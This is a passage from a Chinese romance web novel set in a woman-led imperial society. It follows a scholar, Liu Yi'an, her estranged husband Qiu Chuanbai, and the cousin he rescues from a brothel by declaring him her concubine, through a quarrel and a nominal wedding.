她原本以为秋川白会留在这里,毕竟当初他是为了同柳家人保持距离,才另设别院。 随后她很快想到,秋川白不愿欠她分毫,他给自己送去的书带来了不少麻烦,现在心里恐怕十分内疚,做些弥补的事情也很符合他的脾性。 自己到底怎么回事,怎么总是不自觉地自作多情,总是忍不住为他的一举一动赋上别的含义。 “小姐,还好您打断了秋少夫煲汤,否则晚上不知道要喝些什么呢。” 小露想起秋川白在厨房一脸黑的样子,又想起他说要给自家小姐煲汤,忍不住打了个冷颤。 厨房一股烟熏火燎的味道,熏得人眼泪直掉,做出来的汤不知多难喝呢,自家小姐何尝吃过那种苦? “闻起来这么糟糕吗?”小露的话反而引起了柳忆安的好奇,她决定偷偷尝一下,“你先继续收拾,我去去就来。” 厨房里,秋川白还未来得及将自己的东西收拾干净,灶台上摆满了凌乱的锅碗和柴火,煲汤的罐子搁置在已经熄了火的灶台上。 柳忆安走过去,准备用勺子盛出些尝尝味道,想看是不是如同小露说的那般不堪。 她刚打开罐子,却突然听到门外传来一声:“别喝!” 秋川白路过厨房,看到柳忆安正准备喝他刚刚煲的汤,心中一惊,立马叫停了她。 柳忆安被突然的惊呼吓了一跳,愣在原地没有动。 秋川白见柳忆安没有动静,快步走进厨房,将煲汤的罐子一把抱走,同时慌不择言道:“你快放下勺子,那汤不是给你喝的!” 22. 小侍 看到秋川白抱走了汤罐,并紧张地告诫自己那汤不是给她喝的,柳忆安讪讪地放下了勺子。 “是我唐突了,抱歉。” 话毕,柳忆安飞也似的离开了厨房,只留下秋川白一个人拿着罐子不知所措。 方才情急之下想阻止柳忆安喝汤,可是自己话还未说完,便瞧着她逃了出去。 就在厨房里两人发生误会时,小露已经领着华来与春生将要带回柳府的物品收拾完毕。柳忆安的东西不多,大多是些从书院搬回的书,小露将最后一摞书搬到马车上后,去向柳忆安禀报。 “小姐,东西已经搬上马车了,咱们随时可以出发了。” “那你去同少夫说一声,告诉他我们现在出发。”经历了刚才的尴尬,柳忆安不想面对秋川白,吩咐完小露后,便率先上了马车。 没过多久,柳忆安便听到了小露带着一行人出来的动静,她连忙将身侧最近的一本书拿起,装作正在仔细看书来掩饰自己的局促。 很快,马车的帘子被掀起,秋川白踏上了马车。 柳忆安抬起眼,对着秋川白点头示意了一下,便又将目光聚集到了书上。 秋川白小心地坐到了柳忆安身旁,不敢出声惊扰。 一路上,两人都不敢做出大的动作。一个人努力地寻找机会,想要解释清楚,消解误会。另一个人却竭力避免和对方有眼神接触,生怕要和对方说上话。 就这样,两个人一路无言地回到了柳府。 柳府大门紧闭,小露走上前敲了敲门。片刻后,大门被打开了一条缝,护卫确认了来人是小露后才将大门彻底打开。 “少主,家主一直在等你。”田管家亲眼见到了柳忆安,终于放下了一直悬着的心。 田管家一辈子没有成亲,看着柳忆安自小长大,对她而言,柳忆安仿佛她的亲女儿一般。 当柳府遭受搜查时,她原本还庆幸小姐不在家中。随后小霜带回来消息说书院也遭受了搜查,吓得她一直心慌到现在。 如今整个柳府都平安无事,真是上天保佑。 “田管家,母亲父亲还好吗?” 柳忆安跟着田管家往正厅走去,秋川白默默地跟在后面。 “家主一切安好,就是挂念少主您,如今您平安归家,想必也能松口气了。” 几句话的功夫,几人已经来到了正厅,柳云坐在首座,手中拿着下人刚呈上来的情报,眉宇间隐隐透着一丝疲惫与凝重。 听到脚步声,柳云抬起了头,目光从柳忆安和秋川白的身上扫过,脸上的凝重稍稍缓解了些。 将周围的下人都打发出去后,柳云开口问道:“到底怎么回事?家里和书院都被搜查,这明显是冲你来的啊,你是无意中招惹到什么人了吗?” 听到柳云的问话,秋川白立刻跪地请罪。 “此事因我而起,请岳母岳父大人责罚。” 柳云不解地看向了秋川白,她不明白一个深居简出的男子如何能招惹来这么大的祸事。 “你且说说,到底是怎么回事。” “母亲,这件事让女儿来解释吧。”柳忆安跪到了秋川白身旁,缓缓说道,“是女儿不慎,惹了祸事上身,还请母亲父亲原谅。” 柳云没说话,等待柳忆安的下文。 “母亲,有秋家旧识将一本所谓的古籍交给了秋郎,说是与春闱有关,秋郎觉得此书对我有益,便送去了书院。谁知书里藏了谋逆的暗语,招惹了官兵上门。好在秋郎表弟及时发现了书中的不妥之处,及时将书取出,才使得孩儿逃过一劫。” 柳忆安将顾允的身份用秋家旧识简单概括,隐瞒了秋川白和顾允之间的过往。 “秋家旧识?是何人?” “回母亲,是秋家过去的邻居,姓顾名允,在十几年前搬去了京城,前些日子才回到云州城。”柳忆安眼看秋川白张嘴,抢先回答道。 柳云将视线转向了秋川白。 “是这样吗?川白。” 秋川白点点头,回道:“是妻主说的那般。” “那就是说问题出在姓顾的这个人身上了?”柳云自言自语道,“顾家,从云州城搬去京城……” “川白,你立刻回秋府,同你母亲讲一下此事。并且告诉她,我马上去府上拜访,想和她聊聊关于顾家的事。” “女婿遵命。” 秋川白站起身,吩咐华来备好马车,往秋府赶去。 见秋川白离开,柳云又吩咐曲氏去备餐,这才将自己的女儿从地上扶起。 “你还想同我讲些什么?” 柳忆安诧异母亲看出了她的心思,问道:“母亲是如何晓得我还有话想私下与母亲说的。” 柳云颇为无奈地笑了笑,拍了下柳忆安的脑袋,语气中带着一丝怜爱:“我是你的母亲,你的那些小心思哪里能瞒得过我。现在说说吧,到底是什么事情,连你夫郎都要避着。” “母亲,我在家休养的那段时日,书院里有一个书生被官府以同样的理由抓走了,我怀疑这两件事不是偶然。” “你是说,这件事不是第一次发生了?”柳云觉得此事变得愈加复杂起来,脸上的表情渐渐凝重,“恐怕是春闱在即,有人想对你们这些学子下手。” “只是女儿暂时没有确切的证据,而且那个书生被抓走一事,并非女儿亲眼看见。”柳忆安补充道。 柳云端起茶杯,轻抿了一口,若有所思道:“无妨,这种事情交由我去做吧。” 另一边,秋川白慌忙地往秋府赶,谁知有一群人将路围堵了起来。 一群手中拿着木棍的女人将一个年轻男子团团围住,一个为首的女人对那名男子呵斥道:“你最好不要敬酒不吃吃罚酒,乖乖跟我走,什么事都没有。但你要是不听话,我可不介意让你这张漂亮的小脸青一块紫一块。” “你离我远点!”那名年轻男子喊道,“我要报官!” “报官?你如何报官?你以为谁报官谁就有理吗?你睁大眼看看,你舅表姊亲自签的字,把你卖给了怡红院,你就算报官了也得跟我们走!” “公子,前面那个人好像是轻尘公子啊。”华来听到那名男子的声音有些熟悉,对着秋川白说道。 “轻尘表弟?”秋川白打开帘子,看见那个被一群女人团团围起的可怜男子,确实是方轻尘无疑。 秋川白下了车,快步走过去,拦在了为首的女子和方轻尘之间。 “你是谁,如何对我秋府的贵客动手动脚。”秋 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这世道流民颇多,不乏没有户籍的人被低价卖出去,只需在契书上注明了生辰、籍贯即可。只是这样的买卖往往都是背着官府偷偷进行,卖身的人也是因为实在无路可走才选择这一条路。对这些没有户籍的人来说,能有一个安稳的地方吃住已实属不易,故而很少有人故意揭发此事。 所以,当方家母族拿着族谱和画像来卖人时,怡红楼的人并没有觉得此事不妥,况且方家人要价又十分便宜,就算买来做个洒扫小厮也是划算的。可是当方家人拿过钱后,只留下了一个地址便匆匆跑掉了,此时怡红楼的人才发现不对劲。 拿着地址来找人时,发现方轻尘竟住在当地颇有名望的秋府,一群人更不敢轻举妄动。在此地蹲守了几天,终于等到方轻尘落单,才一窝蜂地将他围起。 “秋公子,您别难为我们了,有些事我们不太好与您一个男子说。” 为首的女人见秋川白不好糊弄,示意手下直接将方轻尘拽走。 “你们谁敢上前一步试试!”秋川白呵斥道,“华来!去报官!今日我定要将这群无赖送进牢里。” “秋公子,您可想好了,若您报官,吃亏的可不是我们。”见到秋川白放出狠话,那女子也不再客气,语气尖酸地说道,“这人并未在户籍上登记,您要是报官,官府可就知道了你们秋府有个流民,到时候被抓走的,恐怕是这位方公子啊。” “谁说他没有户籍!” 秋川白转过身去,小声地向方轻尘问道:“你户籍可迁了过来?” 方轻尘闭上眼睛,痛苦地摇了摇头。 秋川白今日才知晓方轻尘竟一直没有户籍,虽然心里十分震惊,但是面上不动声色。 “你给了方家多少钱,我今日还给你,你们拿钱走人。” 见方轻尘没有户籍的事情果然拿捏住了秋川白,怡红楼的女子更加嚣张了。 “我们不要钱,就要人!” 买方轻尘才花了几个钱,将这张脸放在楼里当头牌,怕是能赚得盆满钵满。 “秋公子,别和我们僵持了,等会儿官府的人来了,没有户籍的人恐怕就要遭殃了。”为首的女子狞笑道。 见对方不松口,秋川白急了。 “谁说他没有户籍。”秋川白怒声道,“他是柳府的小侍,名正言顺!” 23. 动怒 “柳府的小侍?哪个柳府?”女子刚问完,旁边就有人走上前对着她耳语。 “柳忆安?那个举人?”听到柳忆安的名字,女子迟疑了,对着秋川白问道,“你有什么证据吗?” “何须证据,我就是柳忆安的夫郎,我给妻主纳侍难道还要经过你们的同意?” 此话一出,周围原本交头接耳的人纷纷安静下来,女子也一时间语塞,面露不安。 柳忆安是云州城,甚至是整个裕朝近十年里年龄最小举人,才名早已传遍各地,日后恐怕也是大有所为,没人想招惹这位前途无限的举子。 “既然你这么说了,我们愿意看在柳女君的面上放过一马。”女子终于低头,不情不愿地说道,“只是你须得将我们花的钱还给我们。” “喏,拿去。” 秋川白掏出钱袋扔了过去。 那女子掂了掂袋子,对重量很满意。 “多谢秋公子。” 说罢,便带着人走了。 围观的人见挑事的之人离开了,也纷纷散了去。 “没事了。”秋川白轻轻拍了拍方轻尘的肩,安慰他道,“你之前为何从未提起过你没有户籍的事。” 方轻尘无奈地摇了摇头,说道:“对不起表兄,这背后另有隐情,暂不能说与你听,日后有机会再给你讲清前因后果。” “那好吧,等你想说的时候再告诉我吧。”秋川白相信方轻尘有苦衷,不愿强迫他,“只是这户籍的事情需要尽快解决,要是再被人抓住把柄,恐怕不会像今日般轻易了结。” 话毕,秋川白带着方轻尘上了马车,一起回了秋府。 秋川白将这几日发生的事情同母亲交代了一遍,告诉她柳云翌日会登门拜访,请母亲协助柳云调查顾家的背景。 “母亲,这件事说到底终是因我而起,麻烦母亲帮儿子查清此事,以免再让柳府卷入更多麻烦。”秋川白语气低沉,带着几分愧疚。 秋思雨听罢,微微蹙眉,据她所知,顾家搬去京城后,同朝中官员多有往来,背后的势力不会简单。 “此事我清楚了,今后你莫要再插手此事。”秋思雨没想到自己的儿子如此轻易中了别人的圈套,叮嘱他,“还有,以后拿给柳忆安的东西,你都要亲自检查一遍。” “是,儿子知道了。”秋川白垂首应下,经过此事,他再也不敢大意。 这时,一个小厮匆匆跑来,禀报道:“公子,柳府来人了,说有急事找您。” “既然柳府有事,你就不要在家多停留了,快快回去吧。”秋思雨摆了摆手,最后吩咐了一句,“你如今已经是别人的夫郎了,不要再这般小孩子心性了。” 见秋川白仓促离开,秋思雨无奈地摇了摇头,感叹道:“这孩子,我一直以为是个稳重的,怎么如今行事如此天真。” 秦氏见状,连忙安慰她:“川白这孩子心善,便以为世间所有人都如同他一样,再说,柳府不也是因为他心善才来提亲的嘛。” “心善是一回事,惹火上身是另一回事,怎么能相提并论。”秋思雨见秦氏为秋川白开拓,心里更加生气,愤愤道,“你平日里都是怎么教导孩子的,怎么做事如此不当心。” “妻主莫生气了,孩子也需要遭受一些事情才能长大。”秦氏见妻主生气,不敢反驳,默默地为她添上茶水,“喝点茶,不要伤了身子。” 另一边,秋川白坐在回柳府的马车上,心里惴惴不安。 他不知道究竟发生了何事,才将出门不久的他匆匆唤回府。 即将到达柳府,他看见小露站在门口接应他。马车停下后,还不待他下车,小露就走上前。 “少夫,小姐让您直接回卧房,她有事情要问你。” 小露的话虽不失礼数,却能听出语气中的不满。 话刚说完,她连一个眼神都没多给秋川白,冷着脸转身便走。 望着小露快步离开的身影,秋川白心里愈发忐忑,他深吸了一口气,跟上了小露。 华来隐隐猜出发生了什么,但他不敢说话,只能默默在后面叹气。 “小姐,秋公子回来了。” 小露敲了敲门,回过头看了一眼秋川白,秋川白清楚地看见了她眼底的不屑。 小霜从里面打开门,请秋川白进去后,拉着小露守在门外。 “两位姐姐,到底发生了什么事,我家公子又给柳少主带来什么麻烦了吗?”华来看情势不对,悄悄打探道。 “哼,发生了什么你可比我们清楚多了。”小露翻了个白眼,不想搭理华来。 “诶,别这样。”小霜用手肘顶了顶小露,“这是少主和少夫两个人之间的事,你朝华来发什么脾气。” 小露也觉得不该迁怒华来,只是这件秋家这位公子实在是不把自家小姐放在眼里,她替小姐觉得委屈。 “小霜姐姐,不是我想迁怒,是少夫实在是……”小露看了眼华来,欲言又止,“算了,我们做下人的,不能嚼主人舌根。” 见小露一脸怒意,华来不敢再多嘴,安静地在一旁站好。 *** 秋川白刚踏进屋,柳忆安便语气冷淡地开口:“刚才有人来家中庆贺。” “是吗……家中有什么喜事吗?”秋川白听出了柳忆安的不快,试探性地问道。 “喜事?是啊,若非别人告诉我,我都不知道自己新纳了一个小侍。”柳忆安看见秋川白逃避的眼神,讽刺地笑了笑,“刚才官府还来人警告,要求柳府尽快将方轻尘的身份正式登记到户籍上。” “方轻尘什么时候是我的小侍了?” 柳忆安的声音渐渐低沉下去。 “秋川白,你究竟把我当成什么了?” “忆安你听我解释……”秋川白连忙解释道,“我仅仅是借着这个理由救下轻尘表弟而已,他刚刚帮了我们,我想你大约不会介意……” “前因后果我都清楚。”柳忆安打断了秋川白的辩解,“只是我实在不理解。” 柳忆安眼神冷冽,她站起身来,一步步 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“我说,早在订婚前,我就已经心悦你了。”柳忆安转过身去,不愿再看他,“我答应母父的指婚,是因为婚约的对象是你,我以为你也是愿意的。” “可是,我之前从未见过你…”秋川白迟疑地开口。 柳忆安没有回应他,继续说道:“你在新婚夜提出要与我和离,我虽难过,却也不愿让你为难。我答应与你和离,并非是因为我不在乎你,恰恰相反,是因为我太在乎你的感受。我也曾想过,如果我不答应和离,你就不得不一直陪在我身边。” 说到这里,柳忆安轻轻地摇了摇头。 “可是不行,我告诉自己不能这么自私,我不能牺牲你的感受成全自己,喜欢不是那样的,我喜欢你,所以尊重你的选择。” “后来,我从山崖上掉下去,你来救我,我很开心。”柳忆安语气中的哭意越来越明显,她深吸了一口气,平复了情绪后才继续说道,“我以为你也开始喜欢我了,我以为我的真心打动了你,所以我为你赢来了玉锦斋的花灯,想在花灯节那日向你表明自己的心意。可是你……” 后面的话不用柳忆安说,秋川白也知道发生了什么。 花灯节那日,是他亲口告诉柳忆安,他做这一切只是为了报恩,是他让柳忆安今后不要在自己身上多花心力。 “你让我同你和离,我答应了。你让我不要再为你花费心力,我也做到了。你想让我做的,我都做到了。” 秋川白听到一声轻轻的哀叹,他颤抖地伸出手,想抓住柳忆安的衣袖,却在半空中停滞住。 “我从未怨过你,可是你如今为何要这般利用我。” 柳忆安的声音低而轻,像一根银针,刺入秋川白心脏,让他觉得隐隐作痛。 “我心悦你,所以尊重你的感受。而你呢?你是怎么做的?” 面对柳忆安的质问,秋川白只能不停地道歉。 “对不起,真的对不起。” 秋川白的声音颤抖着,眼泪无声地滑落。 24. 纳他进门 秋川白看不到柳忆安的表情,心里越发慌乱,他想走上前去,脚下却一个不留神,被旁边的椅子绊住,身体失去平衡,猛地向前一倾,重重摔倒在地。 听到身后的动静,柳忆安回过头,看见秋川白一只手狼狈地撑着地面,另一个手轻轻地拽住了她的裙角。 “忆安…妻主,我也心悦你,都怪我,都怪我发现得太晚了,求求你原谅我,我知道自己错了。” 闻言,柳忆安缓缓半蹲在秋川白面前,右手轻轻地替秋川白擦拭掉脸上的泪水。 “秋川白,不是只有你一个人珍视自己的感情,我也一样。如果不是你在新婚夜同我和离,我会告诉你,我想和你一生一世一双人,此生绝不纳侍。” “忆安…忆安…” 秋川白绝望地重复着柳忆安的名字,他此刻意识到,原来身边的这个人早就想说出那句自己渴望已久的承诺,而那个本该怀念一生的时刻,被自己亲手毁掉。 他这才体会到,自己最珍视的时刻被毁掉的滋味。 新婚夜,当他亲口说出不愿嫁给她,要同她和离时,她心里该多么难过啊。 她是因为自己才答应了婚约,她本想和他一生一世一双人…… 当初的自己只是觉得愧疚,如今切身体会后,才知柳忆安当初该多么难过。 “我错了,妻主,我不该自作主张,这件事我想办法解决。” 秋川白的双手忍不住地颤抖,他不敢放开柳忆安的裙角,害怕自己一松手,就再也碰不到对方。 “没关系,都已经无所谓了。”柳忆安低语道。 几个轻飘飘的字,落到秋川白耳中却如同利刃一般。 “之前你所做的一切,我都能替你找到开脱的借口。唯独你为我纳侍这件事,我无法释怀。救方轻尘,难道真的只有让我纳他为侍这一种办法吗?” 柳忆安看着秋川白满脸的泪水,觉得讽刺,失望地摇了摇头。 “你明明可以派人回来求助,我一定会为方公子找到脱身之法,可是你没有。你在大庭广众之下宣布他是我的小侍,是因为你毫不在意别人的感受,至少不在乎我的感受。你觉得反正我和你早晚要和离,再多添个名义上的小侍又有何妨。” 秋川白想说他不是这样想的,可是他已经哭到说不出话。 “也许在你眼里,我的感情,我的身份,都仅仅是可以利用的工具罢了。” 柳忆安站起身后退一步,将裙子从秋川白的手中抽出,留下了最后几句话。 “既然所有人都默认方轻尘是我的小侍,便让他入府吧,他本就对我有恩,可作为贵客留在府中。” “如今我们正如你所愿,彼此间再无相欠。待和离书生效,你便带着方公子一同离开吧,只愿从此以后,你我再无瓜葛。” 柳忆安说完,便头也不回地离开了卧房。 *** 这一晚,秋川白一夜无眠,躺在榻上从天黑等到天亮。 不出意外地,柳忆安并没有回到卧房休息,秋川白早已猜到这个结果,心里却还是忍不住地失落。 如今的他只想陪在柳忆安身边,可他清楚,对方恐怕连再见他一面的念头都没有了。 他蹑手蹑脚地走到了书房附近,小心地张望着。 “少夫,小姐一大早就出去了,现下不在府里。” 小霜看见秋川白在书房门口徘徊,猜到他是在找自家小姐,便出声提醒道。 秋川白被突然出现的声音吓了一跳,下意识地闪躲后,发现来人是小霜,连忙问道:“妻主她去了哪里,能不能带我去找她?” “公子,家主让您醒后去前厅找她。”小霜没有回答秋川白的问题,只是传递了家主的吩咐。 秋川白没有追问柳忆安的情况,点点头道:“好,那我现在过去。” “少夫,请吧。” 小霜走在前方带路。 前厅里,柳云和曲氏坐在主座,两人谁也没说话,只是默默饮茶,等候着秋川白。 见秋川白出现,柳云示意秋川白坐在一旁后,便挥手让所有下人退了下去。 “孩子,你昨日做主将方轻尘纳进来的事,我们都知道了。”柳云顿了顿,仔细斟酌着用词,“你可能不清楚,柳忆安是个特别…特别执着的孩子,在感情上也是这样。虽然将你娶进来是她父亲提起的,但我们都清楚,如果她不喜欢你,是万万不可能同意的。大婚那日她有多么高兴,我们也是都看在眼里的。她待你,绝对是一片真心。” “我们家和寻常人家不同,我从没纳过侍,所以忆安也从未想过纳侍。我知道对于男子而言,妻主纳侍是再正常不过的事情。而且,你也是为了救方轻尘那孩子,那孩子在忆安出事那天帮了我们大忙,于我们柳家有着天大的恩情。你用这种方法帮他脱身,我和夫郎不怪你,也愿意给那孩子一个庇护之所。” 秋川白惊讶地抬起头,他本以为柳云叫他叫来是为了斥责他擅自作主,没想到会听到这样的话。 *** 昨日,官府来人催促柳忆安尽快将小侍登记到户籍上时,柳云一家子正在商讨如何应对顾允栽赃陷害一事。 “柳女君,先恭喜你觅得新欢,只是您得按章程办事啊,还盼您最迟明日寅时来官府,将那方轻尘的名字登记在柳府的户籍册上。这次是知县大人对您网开一面,否则难逃一罚啊。” 衙役说完便离开了。 柳忆安觉得莫名其妙,想追出去一问究竟,被曲氏一把拽住。 “莫急,我们让人先打探一下。” 曲氏听到了方轻尘的名字,知道此事恐怕与秋家有关。 很快,下人将下午在街上发生的事情一字不落地带了回来。 听完下人的禀报,柳忆安眉头紧锁,而柳云和曲氏面面相觑。 和柳忆安不同,曲氏并不抵触秋川白擅自宣布纳方轻尘为侍。从柳云的眼神中,他能看出妻主和自己的想法一样。 他记得方轻尘,就是那个在柳忆安危难之际,愿意以身犯险去救人 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可最终,她还是没有开口。 柳忆安轻轻叹了口气,抱住了自己的母亲。 “母亲,我没事的,此事就当报答方公子恩情。” 柳云轻拍着柳忆安的后背,安慰道:“你能想通就好,千万不要自己钻牛角尖,只是府里多一个客人。” 见柳忆安的情绪平复了下来,柳云嘱咐她:“待川白回来,我们就先不找他问话了,你和他好好聊一下。” “嗯。” 柳忆安抱着柳云不愿松手。 “好了好了,我要先去忙了,你自己好好休息一下,这两天辛苦了。” 说完,柳云便离开了,留下柳忆安一个人在房间沉思。 *** 柳云和曲氏见柳忆安一大清早就去给方轻尘上户籍,以为她和秋川白已经说开了,便让人将秋川白叫了过来,向他表明两人的态度。 “忆安今早去官府上户籍了,从此以后,轻尘那孩子不用担惊受怕了。至于将方轻尘接回府,这事就交给你安排了。”曲氏和颜悦色地吩咐道。 “是,女婿一定将此事办好,多谢岳母岳父。”秋川白微微鞠躬,行礼答谢。 “只是忆安这几日心里不舒服,你作为她夫郎,要多体贴她。我这个女儿,心里有事从来不说,最喜欢自己一个人闷着。她在我们面前表现得很坦然,但我知道,其实她心里很难过。” 曲氏走到秋川白面前,拉住他的说,认真叮嘱他:“不过她闷归闷,却是个好哄的。她是因为喜欢你,才会气你为她纳侍。” “女婿明白,这件事终究是我不对,才惹得妻主生气,我会努力弥补过错。” 听到秋川白的承诺,曲氏欣慰地点点头。 “说到底,你也是救人心切。等忆安消气,此事就过去了。轻尘是柳府的贵客,待他进府后,也要麻烦你多多照顾他。” 25. 敬茶 “轻尘你切记,是川白帮了你,才让你有机会入了柳府,虽然只是小侍,但川白是你兄长,不会亏待了你,这样好的去处是你先前想都不敢想的。去了柳府后,不要忘记自己的身份,莫要以下犯上。” 秦氏看着眼前的方轻尘,语气冰冷,字字透露着警告之意。 当他和妻主得知秋川白做主,要纳方轻尘给柳忆安为侍时,和秋思雨的欣喜不同,他隐隐为自己的儿子感到担忧。 在秋思雨看来,方轻尘出身不好,原本就够不上什么好的姻缘。如今他嫁给柳忆安为侍,不仅能助秋川白在柳府站稳脚跟,以后若诞下孩子,便记到秋川白名下,总比今后让柳忆安纳个外人进门好太多。 秦氏往日里还是挺喜欢方轻尘的,觉得他出身虽然不高,但做事倒是有几分手段。但如今他要进到柳府,和自己儿子伺候一个女子,这优点便碍眼了起来。 若自己的儿子是个精明的,他也不会这么烦忧,偏偏秋川白是个不开窍的…… 秦氏心里替秋川白暗暗发愁,便在方轻尘被柳府接走前敲打了他一番,算是为自己儿子撑腰。 “轻尘知道,这次能得柳府庇佑,都是川白表兄心善,出手救我于水火之中。轻尘一定牢记川白表兄恩情,好好伺候表兄和柳少主,绝不敢以下犯上。”方轻尘朝秦氏鞠了一躬,恭敬地回答道。 今日是柳府接亲的日子,只是方轻尘并未身着传统意义上的婚服,而是穿着一身藕色圆领袍。脸上也并未盖上喜帕,而是用一把珍珠镶边的精致小扇遮住了脸。 作为小侍,他不能穿正红喜服,也不能披上喜帕。而且按照柳家的意思,方轻尘只是名义上的小侍,实际上是住在柳府的贵客。这次接亲只是向外人演的一场戏,若是真让方轻尘穿着小侍的衣饰,倒是折损了他。 于是,柳府送来的服饰虽是材质上乘,工艺精巧,却看不出丝毫喜服的痕迹,若不是门外停着的喜轿,仅凭方轻尘的穿着打扮,任谁也看不出这竟是位等待女方接亲的男子。 算下来,这是自己第二次嫁给柳忆安了,第一次身着正经喜服,却是冠以他人姓名,这次他用的自己姓名,却只能穿着常服。 不过他并不介意,在替秋川白拜堂成亲的那天,他无论如何也想不到,自己竟有机会能进柳府,日日见到自己的心上人。能陪在柳忆安身边,就算自己是个下人又何妨。 时辰到了,方轻尘坐上了喜轿,向着柳府出发。 柳府门口,柳忆安已经在侧门候着方轻尘。虽然这场仪式只是为了堵住外人口舌,但做戏还得全套,该有的步骤不能省略。 看见柳忆安的身影时,方轻尘的心瞬间慌乱了起来,连忙低头整理自己的服饰。 轿子停了下来,柳忆安走上前,伸出胳膊,让方轻尘轻轻搭上。随后便领着他走到前厅,向秋川白请安。 到了正厅,方轻尘欲向秋川白行跪拜大礼,却被柳忆安拦下。 “方公子,已经到了柳府,不必再事事遵从纳侍的古礼。你是我和川白的贵客,象征性地敬一杯茶就好。” 说完,柳忆安便坐到了秋川白旁边,吩咐下人将茶水递给方轻尘。 “是啊轻尘表弟,你并非是妻主的侍,不需要在意这些仪式。”秋川白附和道。 方才,秋川白看见方轻尘的手搭在柳忆安的胳膊上,两人一起走过来时,心里突然一酸,觉得这场面有点碍眼,手不自觉便握紧了。 听到柳忆安拦下方轻尘行礼,他便顺水推舟,点明了方轻尘在柳府的身份,强调自己才是柳忆安真正的夫郎。 方轻尘点点头,将扇子放在一旁,从下人手中接过茶水,恭敬地递到柳忆安和秋川白手上。 两人迅速将茶饮下,敬茶这一步就算成了。 柳忆安怕方轻尘觉得拘束,便嘱咐他道:“方公子,今后你就安心住在柳府,若有什么需要的,告诉川白就好,不用与我们客气。” “能有一栖身之所,轻尘已经很满意了,不敢劳烦少主和少夫。” 已经以小侍的身份入了柳府,怎敢真的当自己是贵客。 觉察到方轻尘转换了称呼,柳忆安不可觉察地蹙了蹙眉,她不希望方轻尘在柳府处处小心翼翼,这有违她和母父的初心。 不过鉴于对方初来乍到,对陌生的府邸不熟悉,于是柳忆安没有多说什么,只是吩咐下人将方轻尘带回卧房休息。 “方公子,你先去卧房休息。待日落后,我会去你房间稍坐一下,就算是行了礼。” 方轻尘点点头,跟着下人离开了。 柳忆安为方轻尘安排的卧房位于庭院一隅,虽偏僻,风景却甚美。每当日落时分,总有夕阳透过窗外的竹影洒在房间,映出一副光影交织的画卷。 方轻尘静静地坐在床边,看着地上的夕阳慢慢消失。 太阳完全下山后,下人来房间点上了喜烛,让他稍等片刻。 很快,门外传来了柳忆安的敲门声。 “方公子,请问我能进去吗?” 方轻尘连忙站起身,小跑去开了门。 门外,除了柳忆安,还有一大批下人,手上端着各类菜品,静候在一旁。 “去布席吧。” 随着柳忆安一声令下,下人们鱼贯而入,将饭菜摆放好后便一个接一个地出去了,很快屋里只留下了柳忆安和方轻尘两人。 柳忆安见方轻尘站在门口不动,便挥挥手,招呼方轻尘一起用膳:“方公子,我们先吃饭吧,不知道你的口味,让下人按我的喜欢准备了一些,你看看合不合口。若有什么忌口,今日便告诉我吧。” 方轻尘见桌上各色菜品一应俱全,知道是费了心的,感谢道:“让少主费心了,我没什么忌口。” “你莫要叫我少主,这样的称呼显得生疏了些,你按照之前的称呼叫我即可。”柳忆安将方轻尘视为朋友,不想他用如此疏远的称呼。 方轻尘看着柳忆安诚挚的眼神,一时慌了神。 上次和她挨着那么近,还是在山洞里。 那时的柳忆安陷入昏迷,当时他只顾着想办法让她退烧,未曾细细看她。 今日的她已经恢复了该有的神采,眼神里的光似映在雪上的朝阳般,干净又温暖。如果可以的话,他愿意一直沉溺在她的眼眸之中。 “方公子,你觉得呢?” 见方轻尘久久没有回答,柳忆安又问了一遍。 “既然如此,柳姑娘也不要这么客气了,你称 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虽然不知道那个人是谁,反正不会是那个在卧房里哭成泪人的秋川白。 至于那日同她拜堂的人究竟是谁,如今柳忆安已不愿深究。 只是当她不得不在众人面前拉着方轻尘的手,承认他是自己的小侍时,柳忆安忽然明白了秋川白的感受。 想来秋川白就是心不甘情不愿地嫁给自己,就同今日的自己一般。 突然之间,她完全放下了和秋川白之间的一切爱恨纠缠。 最开始,她心悦秋川白,可是秋川白却一心远离她,她从期待逐渐变得失落。 后来,秋川白未曾尊重她的意见,宣称方轻尘被纳成她的小侍时,她心里是怨的。 怨自己的付出没有换得一丝真情,怨秋川白明明知晓与不喜欢的人成亲的滋味,却让她遭受同样的体会。 这两日,汹涌的情绪一直拉扯着她,让她无法平静地与秋川白相处,于是她逃到书房,将自己封闭起来。 而今日,当方轻尘从喜轿中走下来时,她却突然释怀了。 因为在那一刻,她才真正明白了秋川白嫁给她时的心情。 那是一种平静的绝望,是原本期待的美好未来永远不会到来的绝望。 她原本期待着和同一个人相伴到老,如今却不得不接受自己名下多了一个小侍的事实。 想来秋川白嫁给自己的时候也是这样的心情。 她幡然醒悟,她之前期待秋川白能回心转意,本就是一种不切实际的奢望。 从秋川白被迫嫁给自己那一刻,她和秋川白,就永远不会是秋川白期待的样子。 想明白了这点,她便放下了对秋川白的一切情绪。 最开始的爱也好,最后的怨也罢,都不过是痴人的一场梦,如今梦总算是醒了。 听到柳忆安说自己吃过了,方轻尘没有多言,只夹起一块鱼肉,将刺仔细挑去后,放到了柳忆安面前的盘子中。 “既然不饿,就只尝一口你爱的鱼吧,这么鲜的鱼,若错过了,该多可惜。” 26. 道歉 在方轻尘温柔的注视下,柳忆安尝了一口他亲挑的鱼肉,味道还是同往日一般,只是不需要自己挑刺后,吃起来更爽快了些。 “真不愧是刘伯的手艺,还是一如既往的好。”柳忆安边吃边称赞道。 看柳忆安吃得开心,方轻尘脸色不禁浮现出一抹笑意,他放下自己的筷子,拿起公筷,专心地为柳忆安挑起鱼刺来。 “这位刘伯是府里的厨子吗?手艺真是不错。”方轻尘一边将鱼夹到柳忆安的盘子中,一边问道。 “是啊,刘伯是府里的老人了,我是吃他做的菜长大的,对我来说,他的菜就是家的味道。”柳忆安说到兴头上,没有留意到自己盘子里的鱼肉越来越多,“除了蒸鱼,刘伯做的蟹黄豆腐,话梅小排也是一绝,这几日就让他做给你尝尝。” 方轻尘第一次见到柳忆安如此健谈,比平日里多了一些孩子气,忍俊不禁地轻笑了一声。 这一声轻笑让柳忆安觉察到自己今日有些失礼,本不该在客人用膳时喋喋不休,于是便道歉道:“今日话多了些,让公子见笑了。” “忆安不要同我见外,我只是有些好奇你说的那些菜式,我还从未尝过话梅小排,不知这话梅和肉放在一起是什么味道。” “味道很是特别,明日便让刘伯做话梅小排给公子尝尝。” “多谢忆安,你平日里还喜欢吃什么,给我讲讲吧。” …… 就这样你一言我一语,不知不觉中,桌子上的饭菜都已经用尽了。 柳忆安原本只想在房间里稍坐一会儿,没想到这一坐就是两个时辰。 “天色已晚,我就不打扰公子休息了,公子今晚好好休息。”说完,柳忆安便匆匆离开,去往书房了。 